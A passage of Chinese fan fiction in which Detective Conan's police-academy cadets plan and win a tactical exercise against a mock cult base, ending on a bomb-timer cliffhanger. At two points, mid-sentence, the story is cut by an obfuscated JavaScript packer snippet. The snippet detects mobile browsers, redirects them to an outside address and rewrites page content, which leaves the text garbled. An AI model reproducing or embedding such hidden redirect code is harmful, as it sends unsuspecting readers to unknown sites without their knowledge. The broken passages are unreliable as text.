“可是这个内容也太不合理了!我们班才几十个人,可是我们面对的却是其他所有班级,那边加起来怎么也有几百号人马——我们怎么打得过?”有人不满地反驳道,队伍里响起一片嗡嗡的议论声,不安和质疑在蔓延,周围响起几声附和。 对此,云居冬弥不多做点评,不过他也觉得这个通知不太靠谱。 谁家综合演练是几十人对抗几百人啊?这叫对抗吗?这分明是单方面的碾压。 25.云居日记(25) 不过也不是毫无胜算,云居冬弥早就觉得鬼塚班的配置不太对,本届前几全在这个班,而班中其他人不是偏科战士就是没有短板,可以说根本没有垫底的人。 这是不正常的。 通过这次被单独列出、用近乎打压的方式让他们对抗其他所有人的看似荒谬的训练,他隐隐猜到警校的用意。 他们把最锋芒毕露的几人放在一起,不是为了让他们互相磨损,而是要他们在碰撞中学会收敛锋芒、协同作战——精英往往自带傲气与棱角,而让他们带着一群中上水平的人,将这群人放在同一环境下,一起面临一个看似不可能的任务,迫使他们必须依赖彼此,在极端压力下强行磨合,理解什么是“团队”。 他们在打磨尖刀,锻造刀鞘。 这是一场精心准备的洗礼。 云居冬弥看向争论起来的众人,他看到松田阵平打了个哈欠,懒洋洋地说:“几百个人如果不配合好,那也是一群乌合之众,怎么,你们怕了?” 之前反驳那人回怼:“说得轻巧,他们就全堵在门口,不让我们进去,就能靠堵把我们全堵死。” 云居冬弥没忍住瞟了那人一眼,轻轻瞥眉,平静地开口:“并非没有胜算。” 他不喜欢输。 区区一人对上十人而已,那边班与班之间的关系肯定会有代差,不会那么熟,只要战术运用好,那些人根本不是大问题。 “如果他们全堵在门口,那就意味着绝大部分力量暴露在外围,内部核心区域必然空虚,他们不可能这么干,你这个前提就是错的。”云居冬弥用地上的石子,随手在地上勾勒出地形图,将几块石子放在几个位点上,“这才是正常邪.教据点的分布,如果那边主指挥脑子正常,人员安排不会偏离这个太远。” “人数多是优势也是劣势,他们来自不同班,指挥体系肯定没我们这边稳定,动员容易混乱。” “没错,指挥系统就是他们最大的弱点,只要找到关键点,轻轻一撬。”松田阵平做出拆卸的动作,挑着眉,咧嘴笑道,“那边就会‘哗’地散架。” 降谷零若有所思,接上对话,补全了详细计划:“云居说得对,我们不能陷入消耗战,而是应该速战速决,浑水摸鱼,以免被逐一击破。必须进行战术欺骗,做出攻击假象,分散对面兵力。同时,组成一支高度机动的尖刀小队,像手术刀一样,划开表层,直击内里。” “也就是说,有人要在正面唱戏吸引火力,而真正的主角需要悄无声息地绕到后边——这个我熟。”萩原研二脸上露出狡黠的笑意,紫罗兰色的眼睛微弯,“其他班的同学我认识不少,或许……我可以给他们传递一些无伤大雅而有趣的小情报~” “远距离支援的话。”诸伏景光温和地笑了笑,冷静补充,“我可以负责阻击,在优先覆盖尖刀小队行动路线的情况下,为大家提供远程支持,制造混乱。” “我们还有2个人质名额,把我们班最能搞事情的人送进去当内应。” 云居冬弥话音刚落,所有人齐刷刷地看向松田阵平和以一己之力回怼全班同学的那位同学,脸上不约而同带上了几分幸灾乐祸。班长摸着下巴说:“松田、鹤见,你们没问题吧?” 松田阵平“啧”了一声,倒是没什么意见,只是活动了一下手腕,兴致勃勃地说:“内应?这活儿也不错,挺适合我——保证让他们内部先乱起来。” 鹤见同学一副天都塌了的表情,指着自己,难以置信:“最能搞事情?我吗?” “显而易见。”云居冬弥若无其事地看了眼简易沙盘,淡淡地看了对方一眼,用毫无起伏的语气陈述,“你的质疑精神放在正面战场是干扰,放在对面就是精神干扰,应该能产生奇效。” 在鹤见高呼「污蔑,这是妥妥的污蔑」的背景音乐中,在各位一言一语下,战术布局渐渐成型,伊达航眼中闪过几分欣慰,深深地看了眼众人,以拳击手掌,说:“很好!这就是我们鬼塚班该有的样子!” “降谷,指挥全局,协调各方,你是我们的‘大脑’;诸伏,占据制高点,作为我们的‘眼睛’,提供保障;萩原,情报和渗透工作,作为‘耳朵’,发挥你社交达人的天赋;松田和鹤见负责搞事情,在里面使劲折腾,摸清防线,制造混乱,接应潜入——” “云居,你复杂撕开裂缝,直取目标,担任突击手!” 伊达航环视一圈,眼神锐利,声音沉稳而斩钉截铁,不容置疑:“信任你们的同伴,执行你们的任务,这是一场我们不能输的比赛。各位,有没有信心拿下胜利?” “有!!” 这回就算是嘟囔着污蔑不污蔑的鹤见同学都加入了这次喊话。 * “这届学生真不错啊。” 透过摄像头看到这一幕的教官们注视着鬼塚班由争论转向高效协作的全过程,看向屏幕上的人的目光中都带着几分赞赏。 “降谷的全局指挥能力越来越出色了。”战术指挥课教官喝了口红茶,赞赏道,“冷静、果断,就算在混乱中也能抓住关键。” “诸伏的阻击真的很有天赋,而且他的性格其实挺适合当阻击手的。”射击课教官淡淡地说,“只是带他打了几次,他就稳在300码了,已经摸到专业阻击手的入门考核标准了。” “萩原这家伙简直就是天生的情报专家。”身为教侦查学的鬼塚教官感慨,“可惜他对那边不感兴趣,似乎想和松田一起去爆.炸.物处理班,不然他其实也挺合适的。” “不,还是别把好苗子给那边霍霍了,光那边想要降谷和诸伏已经够头疼了。” “不过,松田这小子的战术思维其实很不错,就是按他的个性,肯定是去处理班那边没跑了——真的是,这才开学多久?拆弹这门课刚开,高桥那家伙就来抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640677|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人了。” “诶,不提那刺头了,光听到他名字就感觉精神衰弱,真是辛苦鬼塚了。” 鬼塚教官已经被磨平了心态,淡定喝了口水:“至少伊达还是很值得放心的,他的领导能力很强,知道如何发挥每个人的长处。” “可惜想从基层干起,不然推荐位我还真的有点想给他,可惜啊。” “你认真的?我记得这个默认是zero那边的吧,伊达那性格放在那不合适啊。”心理学教官半月眼,“我觉得以他的正义心,他会和那边干起来。” “真要说萩原才是最合适的,但他不想,还是算了。” “不过还真是意外啊。”鬼塚教官看着屏幕中若无其事地窝在角落换装的云居冬弥,缓缓开口,“云居能看穿演练的真实目的我不意外,他所展现的战术布局我也不意外,但我真以为他不会站出来的。” “哈,我懂,我最初也以为他是那种置身事外的人。”心理学教官洋洋得意,“结果听竹原讲了这家伙的光荣战绩,我发现他其实是那种用理性包裹感性的人——我当初知道竹原周六那天训他我还挺意外的,没想到隔天到那被训的人又有他。” “是吗?那确实挺意外的。” * “没什么好意外的。” 为了戴上黑色滑雪面罩,云居冬弥摘下了平光镜,将散乱的黑发扎起,他平静地说:“我不喜欢输,所以我才站出来。” 降谷零抱着臂站在一旁,视线在云居冬弥和正在与鹤见互损的松田阵平之间不动声色地扫过。他看向对方,视线在那双被面罩衬得更清冷、淡漠的眸子上停留一瞬,语气平稳如常,听不出有任何情绪:“让鹤见和松田一起担任内应,这个组合很特别。你看重的是鹤见哪方面的特质?” “话痨。他很吵。” 他调整面罩的位置,只留出一双冷静到近乎漠然的银灰色眼睛,眼底没有紧张或是兴奋,无悲无喜,只是倒映着对方的身影,仿佛他什么都不在意,又像是他其实非常认真地与你对话。 “是吗?我还以为是你看鹤见不爽呢。” 云居冬弥困惑地看了对方一眼,仿佛他其实在问类似于「地球为什么是圆的」这样的问题。他思索片刻后,平静回答:“他的质疑精神放在对面,能产生最大的混乱效益。这和「看不爽」无关。” “是吗?” 降谷零没有再追问,只是极轻地应了一声,视线在云居冬弥那张毫无波澜的脸上停留一瞬,随即转身离开,走向临时规划的指挥区域。他没有再做出任何试探,也没有流露出丝毫的额外情绪。 降谷零走向指挥室的背影挺拔而稳重,影子在阳光下被拉长,最终隐没在关掩的门后。 半分钟的短暂试音后,他轻咳两声,声音透过通讯频道传出,沉稳而清晰,瞬间将所有人的注意力拉回:“全体注意,按计划,行动开始。” 26.云居日记(26) 清晰而冷静的声音顺着耳麦传到耳骨,外部佯攻的声响渐大,喧嚣声从正门方向隐约传来,但云居冬弥不多理会,过滤掉所有杂音,只是沉默地站在暗处,仿佛和阴影融为一体,等待高处的报点。 没有电脑和情报的加持,他无法靠自身完成所有计算和路径规划。他的行动必须高度依赖上方的「眼睛」,「耳朵」的情报,以及「大脑」的指挥。 很奇异的感觉,他更习惯单兵作战,很少会这么被动,将自己的主动权交给别人。 不过这也不算是难受或不安,毕竟他也不需要过多思考,只需要根据指令完成任务,成为破开防线的「刀尖」,撕开前方的障碍就行了。 “前方执勤巡逻,右侧通道,三点钟方向有两名信徒背对着你,间隔一米。” 诸伏景光平稳的声音响起。 云居冬弥悄然锁定两位目标——那两人站位松散,偏头细语,明显被正门的骚乱吸引了注意力。他贴着墙,无声无息而迅速移动至堆放杂物的视线死角。他平静地听着堆放不紧不慢的脚步声,俯下身子,几乎与地面平行,完全淹没在杂物之下。 在听到诸伏景光那边的报点之后,他顺势从两人的视野盲区一闪而过,没有激起半点波澜。 其实干掉对方会更快,但他的任务不是强攻,而是像手术刀般精准地割下病灶——其实这样也挺好,他的工作量大大降低,不用事事亲力亲为,比潜入资料库轻松多了。 “清理干净。” “收到。”诸伏景光的指令接踵而至,“继续前进,左转,第二个入口,内部疑似有人聚集,注意规避。” 云居冬弥往那走了几步,隐隐约约听到里面传来讨论外边战况的亢奋声音。他敲了通讯设备三下,示意此路不通,绕道而行。 短暂沉默之后,降谷零说:“折返五米,右侧有废弃通风管道,上方栅栏可拆卸。通往目的地上方,但下方情况不明,落地需谨慎。” 他轻敲一下,示意明白。 云居冬弥毫不犹豫地后撤,找到那个通风口。边缘锈蚀严重,但四角固定还算牢靠。他从战术小包里摸出松田阵平友情提供的拆卸工具,迅速卸下,在他轻车熟路地钻入后,又小心掩了回去,确保从外边看不会发现异象后,便在狭窄昏暗的管道内匍匐前进。 这里的通道清洁程度明显比警察厅那边低,移动过程中,灰尘蹭得全身都是。 不得不说,万幸他戴了面罩,不然他觉得这玩意进入鼻腔,他会想刀了不好好干活的清洁工。 顺着降谷零的指令,他顺着管道爬行了很长一段距离,直到于某个位置,他看到下方传来微弱的光线,听到了模糊的人声和刺耳的警报声,他停在此处旁听片刻,顺着隔板窥视下方动静。 “我们只是被洗脑的信徒对吧?那我们现在饿了,教义里管不管饭?好歹同学一场,别这么生分嘛。” “你们这个组织结构,指挥链清晰吗?万一上面那个被狙击了,下面听谁的?” “说起来,你们真的相信教官编的那套教义吗?不会吧不会吧?难不成你真的是菠萝披萨的忠实教徒?我跟你说,这在意大利可是异端、异端啊!” 是鹤见同学的声音,简直就像自带360°无死角喇叭,就算被双手双脚反捆在身后也不能阻止他全方位无死角地霍霍10位看守人员的耳朵,其语速之快,在短短半分钟内念叨了数百个字,仿佛根本不需要喘气似的。 而在他身旁则是除了口头挑衅以外没什么动作的松田阵平,他似乎安分守己地待在原地,除了毒舌挑刺以外什么也没干。 但以云居冬弥的经验,那个叫个不停的「疑似老损坏掉的警报器」大概是松田阵平的功劳,而他估计还顺手破坏了他附近所有电路的电线,而他手上反绑的绳子估计也快被他磨掉了。 云居冬弥挑眉:嚯,这俩搞事精凑在一起,效果还真不错。 谨慎起见,他用摩斯密码给对面发去简情,共享了一下情报,与他现在所处的位置。 “现在此待命,定时汇报对方动向,班长、萩原他们正在赶来的路上。” 敲击一下。明白。 * 萩原研二不明白他到底为什么这一路上会遇见这么多他认识的人……好像整个学校也没几个他不认识的人。 那没事了。 凭借出色的演技·高超的话术·萩原研二在脱掉警方(红方)的统一服饰、戴上从松田阵平那顺来的墨镜后,毫无违和地混入敌方阵营。他甚至凭借着对多位同学性格爱好的了解,三言两语就获得了初步信任,并“好心”地帮忙传递了几条半真半假、关于正面防线压力的消息,无形中加剧了防守方内部的调度混乱。 他灵巧地在人群中穿梭,在逐步向核心区域靠近间,搅乱着人群,为大部队留下一条可以通往内部的细缝。 耳麦里传来降谷零根据各方情报汇总后的最新指令:“萩原,尽量靠近人质区域,配合内部的松田和鹤见,等待制造混乱的信号。云居,保持原位,你是最后的保险,也是发起致命一击的关键。” 萩原研二敲击一下麦克风表示收到,他的目光扫过周围,锁定一个能观察到人质而又不易被注意的角落,悄然溜了过去。 感谢小云居,自从和他一起吃饭后,不知不觉间积累了大量隐藏自身存在感的小技能呢。 * 云居冬弥在通风管道内调整了一下姿势,让自己更舒适,也更利于爆发。他仿佛是一只耐心的蜘蛛,蛰伏在网的中心,冷静而沉默地感受着下方由鹤见同学的噪音、松田阵平的破坏、萩原研二的渗透以及外部佯攻共同编织出的混乱之网。他能感觉到,那张网正在收紧,猎物逐渐变得焦躁不安。 银灰色的眼睛记录着下方骨干信徒们的站位,注视着他们越来越频繁的走动,观察着他们的耐心一点点降至零点的过程。 他轻轻活动了一下手关节,嘴角无意识地勾起若有若无的弧度,安静等待着来自「大脑」的指令。 时机在班长那边传来「我们进来了」之时到来了。 “就是现在!” 清晰而冰冷的指令传达的瞬间,隐藏在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649112|187798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角落的萩原研二如同鬼魅般现身,他没有攻击任何人,而是用极富煽动性的声音大喊:“后面!后面有人绕进来了!他们找到备用入口了!” 本就因持续噪音和突发状况而神经紧绷的防守方,注意力被瞬间引向错误的方向,阵型出现了松动。 松田阵平挣开早就无用的束缚,躲过前来制服的敌人,灵活地绕到配电箱旁,用钳子剪断了几根粗线——刺耳的警报声戛然而止,走廊的灯光无规律得闪烁,有部分地区的灯光彻底暗掉,又引起一片短暂的惊呼。 “云居!” 无需多言。 一道深色的身影自上方落下,下方所有人的站位早已烙印在脑中,云居冬弥锁死目标,在双脚落地的瞬间,借着卸力的动作顺势控制住身旁的两位骨干,随后贴地前滑,直扫头目的下盘,放倒对方。 对方甚至没来得及完全倒下,云居冬弥便一手精准扣住他拿模型.枪的手腕,反向一别,另一手手肘抵住其背心,膝盖压住腿弯,将他死死地按在地面上。 随后用手铐拷上对方的手腕,转而腾出手,拿着枪指着剩下的两人。 “别动。” 可能是面罩的原因,他的声音听起来格外沉闷,带着不容置疑的冷硬,枪口稳稳对准对方,没有一丝晃动。 就在此时,伊达航带领的主力小队彻底撕开他们共同划开的口子,冲进核心区域,以迅雷不及掩耳之势控制住残局。反抗在失去主力军与指挥后渐弱,随之土崩瓦解。 “任务完成。”降谷零的声音从耳麦传来,“所有人质安全,所有骨干制服,这场演练的胜利属于我们!” 游戏结束。 欢呼和懊恼的声音杂在一起,有人激动相拥,有人悲愤捶地。 云居冬弥缓缓放下举枪的手,用钥匙解开手铐,从被压制的人身上下来。在客套地为自己的行为表示歉意后,他摘下了面罩,拍了拍身上的灰,平静地围观着这由他们亲手主导出的混乱现场。 松田阵平一边给鹤见解绑一边嘲笑对方的「菠萝披萨异端论」,后者高呼他那番言论战斗力显著。 摘下墨镜的萩原研二被一群人团团围住,笑嘻嘻地和那些被他忽悠过的信徒们插科打诨、勾肩搭背。 诸伏景光从高处下来,抱着阻.击.模.型.枪,安静地站在一旁,注视着这一切,脸上挂着他代表性的温和的笑容。 伊达航爽朗地大笑着,和那群被制服的骨干打成一片,他们大大咧咧地坐在地上,相谈甚欢。 降谷零从指挥区出来,穿过人群,遥遥与云居冬弥对视一眼,金发在昏暗的光线下依旧亮眼,他比了个口型「干的不错」,随后愉快地找他亲亲幼驯染去了。 就在胜利的气氛蔓延开来时。 滴、滴、滴—— 清晰、规律而微弱的电子音突兀地划过耳旁,所有声音戛然而止。 他们茫然、困惑地看向声源。 窝在角落的废铁盒子中闪烁着令人惊心动跳的红色光点。 “谁告诉你们,任务到此结束了?”